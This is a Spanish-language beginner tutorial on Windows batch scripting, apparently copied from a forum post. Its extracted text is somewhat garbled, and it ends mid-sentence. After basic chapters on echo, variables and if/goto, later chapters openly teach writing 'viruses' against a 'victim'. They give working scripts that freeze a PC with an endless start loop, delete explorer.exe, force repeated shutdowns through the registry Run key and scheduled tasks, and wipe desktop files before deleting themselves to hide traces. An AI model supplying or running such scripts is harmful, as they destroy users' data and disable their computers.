Anda di halaman 1dari 76

Batch Comun y Batch Avanzado

http://www.taringa.net/posts/ciencia-educacion/5372308/Batch-Comun-y-Batch-Avanzado.html

Programacin Batch Comun

INRODUCCION:

Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo
todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en
leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.

El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando
lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que
puedan aprender bien.

Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace

Capitulo Uno

MI PRIMER PROGRAMA .BAT

En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la
programcion en batch.

Abran el bloc de notas.

A continuacion escrivan

Cdigo:
@echo off

Asi sera como empesemos siempre el programa

A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo,
ejemplo:

Cdigo:

@echo off

title mi primer programa txshack

De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"

Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten
en un papel para tenerlos siempre presentes.

echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word

echo este sirve para mostrar un mensaje en el programa

rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en
el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus
aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las
preguntas, apartir de aqui ire acabando las operaciones...etc)
pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa...
pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir,
daremos una tecla y continuara.

exit esta sirve para acabar el programa, para salir de el....

Bien una vez dicho esto, podremos crear nuestro primer programa.

Abran el bloc de notas si aun no lo han echo y escriban..

Cdigo:

@echo off

title mi primer programa txshack

echo.

echo comentario

echo.

pause

echo.

echo este es mi primer programa jejeje siiiiii

pause > nul

rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion

exit

Aora le dan a guardar como y lo llaman por ejemplo 1?programacontxshack.bat o lo que quieran, pero
deve ser loquesea.bat
Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda
dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!

Despues intenten entender el codigo, y veran lo sencillo que es...

En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu
responderlas...etc

No se impacienten!! jeje

Espero que les ayude.

CAPITULO 2: LAS VARIABLES

Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?

Ahora pasaremos a las variables.

Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia
mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.

Cdigo:

@echo off

title ejemplos

set var=capullo

echo eres un %var%

pause
Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado
ejemplos. (asta aki ya lo sabian no)

a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var
entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo
jejeje, esto es un ejemplo, vean.

han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por
set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra
seguida de set, de esta forma %unapalabra%

por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les
ago el ejemplo...

Cdigo:

@echo off

title ejemplo4

set/p nombre= ?como te llamas?

echo.

pause

echo.

set/p edad= ?y cuantos a?os tienes?

echo.

pause

echo.

set/p vive= ?y donde vives?


echo.

pause

cls

echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%

echo.

pause > nul

exit

han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y
pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger
soltura

Y bueno, si se an quedado con esto... por oy ya es bastante...

Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a
la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de
letras y de fondo)... prueven....

CODIGO DE COLORES:

0 = Negro

1 = Azul

2 = Verde

3 = Aguamarina

4 = Rojo

5 = Prpura

6 = Amarillo

7 = Blanco
8 = Gris

9 = Azul claro

A = Verde claro

B = Aguamarina claro

C = Rojo claro

D = Prpura claro

E = Amarillo claro

F = Blanco brillante

Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores

Cdigo:

@echo off

title ejemplo4

color 5e

set/p nombre= ?como te llamas?

echo.

pause

echo.

set/p edad= ?y cuantos a?os tienes?

echo.

pause
echo.

set/p vive= ?y donde vives?

echo.

pause

cls

color 2f

echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%

echo.

pause > nul

exit

CAPITULO 3: VARIABLES -CONTINUACION-

En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas.
Su base y modo de empleo es similar a las del capitulo anterior (las set/p).

Estas en vez de set/p xxx= se llaman set/a xxx=

Sirve por ejemplo para realizar medias, porcentajes...etc...

Lo mejor es ver un ejemplo:

Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1? capitulo, y
se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo
digo porque lo utilizare para irles explicando.

VEAN:
Cdigo:

@echo off

title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6

set/a suma=a+b+c+d+e+f

rem aqui sumamos las medias

set/a media=%suma%/%asig%

rem como veran al dividir la suma entre las asignaturas sacamos la media

echo tu nota media es de : %media%

pause

echo estudia mas cabron

echo.

echo consejo de txshack

pause

exit

Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... que qereis!?
jeje

Espero que lo ayais entendido.

Los comandos de las operaciones son

suma+

resta -
producto *

division /

exponente ^

CAPITULO 4: IF, GOTO, MENUS

Bueno, en este 4? capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por
menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta
chupado.

El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un
menu...

Los menus, nos permiten hacer "menus" o apartados en nuestro bat.

Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas
claro)

El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal
cosa.

El comando if, dispone de los siguientes atributos:

variable==valor (para expresar si la variable es igual a valor az esto)

variable LSS valor (para expresar si la variable es menor a valor az esto)

variable GTR valor (para expresar si la variable es mayor a valor az esto)


variable LEQ valor (para expresar si la variablees menor o igual az esto)

variable GEQ valor (para expresar si la variable es mayor o igual az esto)

Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.

Cdigo:

@echo off

title txshack if, goto y menus

:menu

cls

echo responde si o no

echo.

set /p var=quieres convertirte en hacker??

If %var%==si goto serh

If %var%==no goto noh

:serh

cls

echo pues entonces sigue los consejos de txshack

pause > nul

goto end

:noh

cls

echo.

echo pues entonces que co?o aces leyendo esto??


pause > nul

goto end

:end

cls

echo.

echo adios

pause

exit

Han comprendido no es sencillo.

Aqui os dejo otro ejemplo

Cdigo:

@echo off

title ?que numero sera...?

:menu

cls

echo deves averiguar el numero para poder salir

echo.

set /p var=pon un numero:

If %var%==5 goto si

If %var% LSS 5 goto menor

If %Var% GTR 5 goto mayor


:si

cls

echo correcto!!! por culo te la inco!! jaja

pause

goto salir

:menor

cls

echo elije otro mas alto

echo.

echo sigue jugando

pause > nul

goto menu

:mayor

echo elije otro mar peke?o!!

echo.

echo sigue probando

pause > nul

goto menu

:salir

echo.

echo asta otro dia!!

pause > nul

echo.

echo un saludo, txshack

pause
exit

Ya lo abran pillado no

Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa
esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un ejemplo
veran q facil es.

Se preguntaran tambien que pasa, cuando por ejemplo en el 1? ejemplo que puse, en vez de escrivir si
o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la
siguiente linea... sin importar lo q pongamos (pruevenlo).

Pero no se preocupen todo esto tiene solucion con un comando llamado else.

Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos

Cdigo:

if %vari%=1 (goto menu1) else goto menu2

Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.

La sintaxis seria esta

if condiciones (accion1) ELSE accion2

La 1? accion deve ir entre parentesis obligatoriamente.


Vean un ejemplo les quedara mas claro...

En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa,
veran que vuelve al principio, y no pasa como en los ejemplos de antes

Cdigo:

@echo off

title txshack di soy bobo

:menu

cls

echo que quieres? consejo o salir

echo.

set /p var=dime, consejo o salir:

If %var%==consejo (goto consejo) else goto if2

:if2

if %var%==salir (goto end) else goto menu

:consejo

cls

echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!

pause > nul

goto end

:end

cls

echo.

echo adios!!

pause
exit

Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen

Pronto seguire.

Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten


y prueven por ustedes mismos.

En este capitulo, os ense?are el resto de comandos interesantes, y para el proximo capitulo, nos
meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.

Bien, estos son los comandos basicos q deven recordar:

del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe

/P Pide confirmacin en cada caso

/F Modo force. Borra incluso los archivos de solo lectura

/S Borra tambin los subdirectorios.

/Q Modo silencioso. No pide confirmacin en ningn caso

rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.

star comienza algo, por ejemplo star www.infiernohacker.mundoforo.com

taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe
format unidad: formatea una unidad, por ejemplo format c:

msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te
olvides de visitar infiernohacker

reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)

> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el
directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.

Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos
anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente
adios.

Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.

Espero que lo hayan entendido... en brebes palabras_

> crea o remplaza un archivo

>>salta asta la linea siguiente

ejemplo:

Cdigo:

@echo off

echo txshack>hola.txt

exit

Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack
* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg

borrara todos los archivos con extension .jpg

del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.

? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg
borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria;
casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?

El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo
facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.

c?sa.* (archivos c -un caracter- sa y de cualquier extension)

*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)

CHDIR o CD [path>

Cambia al directorio indicado.

CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa

CD .. Trasladarse al directorio superior

CD \\ Trasladarse al ra?*z

ATTRIB [/S> [archivo>

Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.

Con el par?metro /S busca tambin en subdirectorios.


Los atributos son:

H -> oculto. Se activa con +h y desactiva con -h

R -> Lectura. Solo lectura con +r, normal con -r

S -> Sistema. Se activa con +s y desactiva con -s

A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no


modificado.

ATTRIB archivo.txt Muestra los atributos de ese archivo

ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)

attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y read only)

shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u otra:

si esta seguido de -r se reiniciara el equipo

-s hara que se apage

-f forzara a cerrarse todos programas

-t 15 indica el tiempo...en este caso 15 segundos

-c " " lo que va entre comillas sera un mensaje...

pongamos un ejemplo_

shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los programas
forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete
Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los
basicos.

Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y
programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por
hoy

CAPITULO 6: INICIACION A LA CREACION DE VIRUS

Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus.

Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas
cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo
(profundizando algo mas) en este tema.

1.)Introduccion

Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para expertos. En
este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)

Que es un comando?

es una orden que le damos al sistema operativo para que haga una tarea determinada.

explicacin: @echo off


Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.

explicacin: shutdown

es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las
opciones

que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo
otros no.

explicacin: parametro -s y -t

el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos.
en el ejemplo

de antes pusimos 1 segundo.

otros parametros de shutdown:

shutdown -r = Reinicia

shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"

shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost

shutdown -f = fuerza el cierre de las aplicaciones.

Comandos b?sicos

a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus.
-del = borra un archivo

-copy = copia un archivo

-reg = hacer modificaciones en el registro

-net = Muchas funciones, escriban en cmd net /? para ver sus funciones

-RD = elimina un directorio

-set = Muestra , establece, crea , variables de entorno de windows.

-taskkill o tskill = mata procesos

Comandos del registro

Operaciones:

REG QUERY /?

REG ADD /?

REG DELETE /?

REG COPY /?

REG SAVE /?

REG RESTORE /?

REG LOAD /?

REG UNLOAD /?

REG COMPARE /?

REG EXPORT /?

REG IMPORT /?

Usad estos comandos para obtener ayuda sobre los parametros despus de reg.
inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno
xD)

Bucles

Bueno un bucle es repetir muchas veces lo mismo

ejemplo

@echo off

:txshack

echo te estoy haciendo un bucle jaja

goto txshack

jeje ya podeis imaginaros las cosas que podeis hacer.

otro ejemplo:

@echo off

:menu

start

goto menu

Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le trabar? todo.
el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito.

podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc

(start http://infiernohacker.mundoforo.com)

Nuestro segundo virus.

@echo off

taskkill /F /IM msnmsgr.exe

del /F c:\windows\system32\explorer.exe

shutdown -s -t 10 -c "Asta luego lucas!!"

Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con
el mensaje asta luego lucas xD

Variables de windows xp

para ver el contenido de estas variables escriban en cmd.exe

echo %NOMBREDELAVARIABLE%

%COMPUTERNAME% = Nombre de host.

%SYSTEMROOT% = Carpeta de administracin Normalmente c:\windows

%TEMP% = directorio donde se encuentran los archivos temporales

%WINDIR% = directorio de windows.

%USERNAME% = usuario con el que se inicio sesin


%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesin

%PROGRAMFILE% = directorio donde se encuentran los archivos de programas

%OS% = muestra el sistema operativo que estamos ejecutando

%LOGONSERVER% = nombre de nuestro server (\\mihost)

no son todos pero estan los mas importanter

CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS

Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido
hacerlo.

Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara
posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...

Podemos crear un virus que se ejecute, haga su funcion y ya esta...

o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...

Como podemos ver el da?o no es igual...

imaginen este virus:

@echo off

shutdown -r -f -t 5

exit
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo
vuelva a ejecutar...

Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia
algo mas no?

Pues bien, esto es lo que voy a intentar explicar.

1? Devemos acer que nuestro virus se cree en algun directorio

2? A?adirlo al registo, (a run)

3? Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc

Bueno, en primel lugar, comenzaremos como siempre

@echo off

A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o
System32 o Windows... etc

Si queremos que se guarde en c: basta con escrivir tan solo cd

@echo off

cd

Si por ejemplo queremos q se guarde en System32, pues ariamos:


@echo off

cd c:\windows\system32

Y de esta forma igual con cualquier otro directorio....

Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en
system32... es decir... crear uno desde el principio, apartir de este...

Lo veran mejor con el siguiente ejemplo

Cdigo:

@echo off

cd c:\windows\system32

echo @echo off > virus.bat

echo shutdown -r -s -t 5 >> virus.bat

echo exit >> virus.bat

exit

Entienden lo que emos echo no si an seguido el manual desde el principio, entenderan el porqe del > y
del >>.

Por si no lo saben se lo explico brebemente:

El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.
Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda
a?adirlo a RUN para q se inicie con windows...

Para ello a?adiremos lo siguiente:

reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d


C:\windows\system32 /f

Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta
C:\windows\system32.

Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.

Asi que de momento nuestro virus iria asi:

Cdigo:

@echo off

cd c:\windows\system32

echo @echo off > virus.bat

echo shutdown -r -s -t 5 >> virus.bat

echo exit >> virus.bat

reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d


C:\windows\system32 /f

exit

Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje.


Ahora podriamos poner algun mensaje y tambien ejecutar el bat...

Por ejemplo asi:

Cdigo:

@echo off

cd c:\windows\system32

echo @echo off > virus.bat

echo shutdown -r -s -t 5 >> virus.bat

echo exit >> virus.bat

reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d


C:\windows\system32 /f

msg * Estas perdido amigo

msg * Ahora TxShack domina tu pc

msg * jajaja

start c:\windows\system32\virus.bat

exit

Bueno, y asta aqui, explicare por hoy

Espero que lo hayan entendido todo...

Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de
archivos...etc
Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.

Un saludo, y asta pronto.

Como iniciarse en batch desde el principio

Indice

1. Que es Batch?

1.1 Codigos Basicos y Pequea Practica Iniciativa

1.2 Como guardo el Batch?

2. Variables

2.1 Variables del entorno

3. Automatizando Tareas (AT)

4. Utilizacion de comandos de red

5. Redirecciones

6. %0, %1, etc.

7. Manejo del Registro

1. Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite
utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist,
etc.

Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de
texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.

1.1 Codigos Basicos y Pequea Practica

Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas.

Los comandos basicos de batch son los siguientes:

*ECHO: imprime un texto en pantalla

*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver
los codigos y solo el programa.

* DIR: muestra un listado con el contenido de un directorio.

* TYPE: muestra el contenido de un archivo en pantalla.

* COPY: copia archivos en otro lugar.

* REN (RENAME): renombra archivos.

* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo
que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).

* MD o MKDIR: crea un nuevo directorio.

* CD o CHDIR: cambia el directorio actual por el especificado.

* RD o RMDIR: borra un directorio vaco.

* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareci en las ltimas
versiones)

* CLS: limpia la pantalla.


* HELP: ayuda sobre las distintas rdenes.

* SORT: ordena Datos

*SHUTDOWN: apaga el ordenador

Ahora probamos

Abres el Block y escribes el siguiente codigo.

@echo off

title Primer Programa

echo presiona una tecla

pause

echo hola

pause > nul

exit

Aca una screen del codigo anterior luego de ser compilado y funcionando:

Ahora expliquemos el codigo que copiaste

@Echo off

este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos
apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.
Title

este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.

Echo

este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.

por ejemplo

echo hola

en la pantalla apareceria "hola"

Pause

esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.

Pause > nul

esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice
"presione un tecla para proseguir"

1.2 Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...

Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la
extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"
2. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco
todos ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden
adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o
imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable
zero, cuando la llamamos seria %zero%

A LA PRACTICA

comenzaremos examinando el code siguiente:

@echo off

title variables

echo bienvenido al ejercicio para aprender variables

echo .

echo presiona una tecla para continuar

pause > nul

set /p nombre=como te llamas?

set /p edad=cuantos anios tenes?

set /p comida= que comes?


pause > nul

echo hola %nombre%

echo veo que tienes %edad% anios verdad?

echo como rayos te puede gustar %comida%?

pause > nul

exit

Ahora Examinemos el code:

set /p nombre=como te llamas?

con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el
comando para llamr variables.

/p significa que el usuario le pondra el valora la variable por medio de una pregunta.

"nombre" ahi esta el nombre dela variable.

"=como te llamas?" es la pregunta que se le hara al usuario.

He aqui un modelo standar de variable

set /p var1=que valor le asigna a la variable 1?

tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo

set var=pesos

echo hola %nombre% veo que tienes %edad% aos verdad? como rayos te puede gustar %comida%? XD
exit

Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se
llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y
comida adicionadas con el texto expuesto

este seria el ejemplo del programa corriendo asi se entiende mejor:

Bienvenidos al ejercicio para aprender variables

Presione una tecla para continuar

como te llamas? holy

que edad tienes? 14

que comes? nada

hola holy veo que tienes 14 aos verdad? como rayos te puede gustar nada? XD

2.1 Variables del entorno

hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir
mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:

nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"

logicamente le podremos que busque en la ruta c:/windows/system32/


pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch
dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores
usaremos las variables del entorno que son las siguientes:

%ALLUSERSPROFILE% ------> todos los usuarios

%APPDATA% ---------> datos de programa

%PROMPT%%TEMP% y %TMP% ---------> temporales

%USERDOMAIN% -----------> obtener dominio

%USERNAME% --------------->nombre del usuario Actual

%USERPROFILE% ---------------> usuario configuracion

%programfiles% ---------------> archivos de programas

%systemroot% ----------------> windows

%homedrive% --------------> disco Raiz

para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch
que ejecuta el notepad

@echo off

title pruba

echo ahora se ejecutara el notepad

%homedrive%/windows/system32/notepad.exe

exit

en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar batch.
3. Automatizando Tareas (AT)

El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada.
Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5
de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos
ejemplos y veran los facil que es.

@echo off

at 4:00 shutdown -s -f -t 01

pause > nul

exit

@echo off

at /next:4 4:00 shutdown -s -f -t 01

pause > nul

exit

@echo off

at /every:4/2 4:00 shutdown -s -f -t 01

pause > nul

exit
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando
a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria
agregar un add reg.

@echo off

rem este code contiene una redireccion,

at 3:00 shutdown -s -f -t 05 > c:/shut.bat

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat"

del %0

exit

.4 Utilizacion de comandos de red

Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como
pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su explicacion.

FTP

Iniciar el cliente ftp

IPCONFIG parmetros

Mostrar las caractersticas de configuracin de IP

/all -> muestra toda la informacin de configuracin

/release adaptador -> libera la ip del adaptador especificado

/renew adaptador -> renueva la ip para el adaptador especificado


/flushdns -> purga la cach de resolucin de dns

/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns

/displaydns -> muestra el contenido de la cache de resolucin dns

NBTSTAT

Hace un estado de la red por netbios

Tiene muchos parmetros. Consultarlos mediante nbtstat /?

NET parmetros

Comando para el uso de redes netbios

USE \\equipo\recurso -> para acceder a unidades lgicas compartidas. Se le asignar un nombre de
unidad y estar disponible como una unidad mas del sistema.

USE \USER: dominio\usuario para acceder a un dominio

USE unidad /DELETE eliminar el acceso a unidad compartida.

SHARE trayecto /REMARK texto -> para compartir un recurso en red

START -> para comenzar sesin netbios

STOP -> para detener netbios

NETSTAT

Para ver el estado de la red.

-a -> mostrar todos los puertos y conexiones

-n -> mostrar nmeros de puertos y direcciones

-r -> mostrar la tabla de rutas

-s -> mostrar estadsticas por protocolo

-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio

Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING

Enivia paquetes a un host para comprovar su disponibilidad

TELNET ip puerto

Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino

muestra el camino que se toma hasta llegar a la ip

5. Redirecciones

Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo
para redireccionar un comando a un archivo.

@echo off

shutdown -s -f -t 01 >> "c:/shut.bat"

En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo
un virus que se autoelimine para no dejar rastros.

@echo off

del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat"


del /f /q %0

rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo

Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:

echo hola > prn

Este code tendria que salir por la impresora.

DISPOSITIVO -- SALIDA

CON -- Salida por la pantalla

PRN -- Salida por la impresora por defecto

LPT1 -- Salida por la 1 impresora en paralelo

COM1 -- Salida por el primer puerto serie

COM2 -- Salida por el segundo puerto serie

6.%0, %1, etc.

Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados
con ejemplos.

%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se
comprueba con este ejemplo:

@echo off
del /f /q %0

exit

Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los
parametros que se pueden especificar para un comando.

dir /p

en este caso "/p" seria igual a %1.

Entonses si ponemos

del /f /q

"/f" es %1 y "/q" es %2

Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el
programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no
ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple
